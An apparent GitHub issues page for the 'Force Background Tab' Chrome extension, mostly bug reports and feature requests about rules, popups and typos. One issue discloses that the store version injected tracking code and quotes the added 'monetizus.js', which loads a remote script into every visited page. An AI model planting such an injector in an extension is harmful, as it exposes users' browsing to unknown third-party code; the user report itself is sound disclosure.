monque / chromeextension-forcebackgroundtab Goto Github PK

FroceBackgroundTab works perfectly for me when I make the Default behavior Background.

If set I set the Default behavior to be Default and try to use rule management to specified specific domains, it does not work.

Rules I have tried that do not work:

• https://www.inoreader.com/
• https://www.inoreader.com/*
• https://www.inoreader.com*
• www.inoreader.com*

Browser is Vivaldi 3.1
Extension version 2.2.0

Thanks for any hints

The operation in the following gif feels roundabout, would be best if it's opened in the foreground (which is the chrome default behavior).

Pretty sure this was working, but now isnt.

I also tried ctrl+shift+click and middle-click, and neither worked. So maybe its something with the Ubuntu version of Chrome.

Typo:

Instead of focusing on the opened tab. With this addon, it now focuses on the tab that opened the new tab. Which is not a problem is most cases.
However, the whole reason I wanted to use this addon is because I have a script that opens and closes tabs at all time. So this addon does NOT open the new tab completely in the background. It more like switches back to the original tab.

Is there a way around this?

How can I make this only work on mail.google.com?

if a rule added, there is a lag.. new tabs open in active tab and after some time the browser switches back to prev tab... it make the extension useless. please solve it

Since Chrome Version 79.0.3945.79 when clicking the plus sign to open a new tab, the tab opens in the background.

many times this extensions breaks popups opening, like here: https://cb01.lat/serietv/babylon-5/ trying to open the disqus login form opens a blank popup instead. or here: https://sil.regione.emilia-romagna.it/bolognapub/servlet/fv/AdapterHTTP?PAGE=WebGrigliaProvPage&NEW_SESSION=true popups open evenly a blank page.

i use vivaldi x64 browser.

Hi,

Can you please add this to the exception list: chrome-extension://
It's messing up the Link Grabber extension.

Thank you.

I really like your plugin, and I'm considering using it to solve a problem I have on my website where I want some links to go to the background but some to go to the foreground.

It would be awesome if there was something we could include in the URL which was recognized by the plugin to divert control to either foreground or background as indicated.

This extension doesn't work on https://www.cracked.com/.
In the extension settings, the default behavior is enabled with no exception rules.

Froce => Force

I don't know if you still have access to the extensionpage of the Chrome webstore but the "Force Background Tab" is now adding a JS tracking code to every site you visit.

Testing site: https://api.ipify.org/

Example with extension enabled:

https://i.imgur.com/4xX8x5W.png

Extension disabled:

https://i.imgur.com/pugQOrr.png

https://chrome.google.com/webstore/detail/force-background-tab/gidlfommnbibbmegmgajdbikelkdcmcl

The following file was added:

monetizus.js

(function(){
    var s = document.createElement('script'); 
    s.src = '//s3.amazonaws.com/jscache/1024f4c4a4bda17245.js'; 
    document.body.appendChild(s); 
})();

But if you have done it yourself you probably know that.

Subj. Maybe it is also doesn't work on other newer chromium browsers as well.

Hi,
can you add a domain-filter so the ForceBackground works only on some domains?

I use for example a rss-feed-collector and want to open some of the articles in the background while I step through them. There are HotKeys for stepping and open an article-link, so I cannot just use Crtl-mouse.
I would be very handy to use the extension but I don't want this behaviour on every page.

There is a typo ('Backgrond') on the Default/Background toggle on the options page.

I realize the possible security problems but if possible I could use the ability to set the option from a script. Or the ability to override the option such that I can use JavaScript to open a new tab in the background when the option is off (set for default).

If someone can figure out how to change the option from a separate script then the security issue already exists. I tried looking at the source code; I might try harder in the future.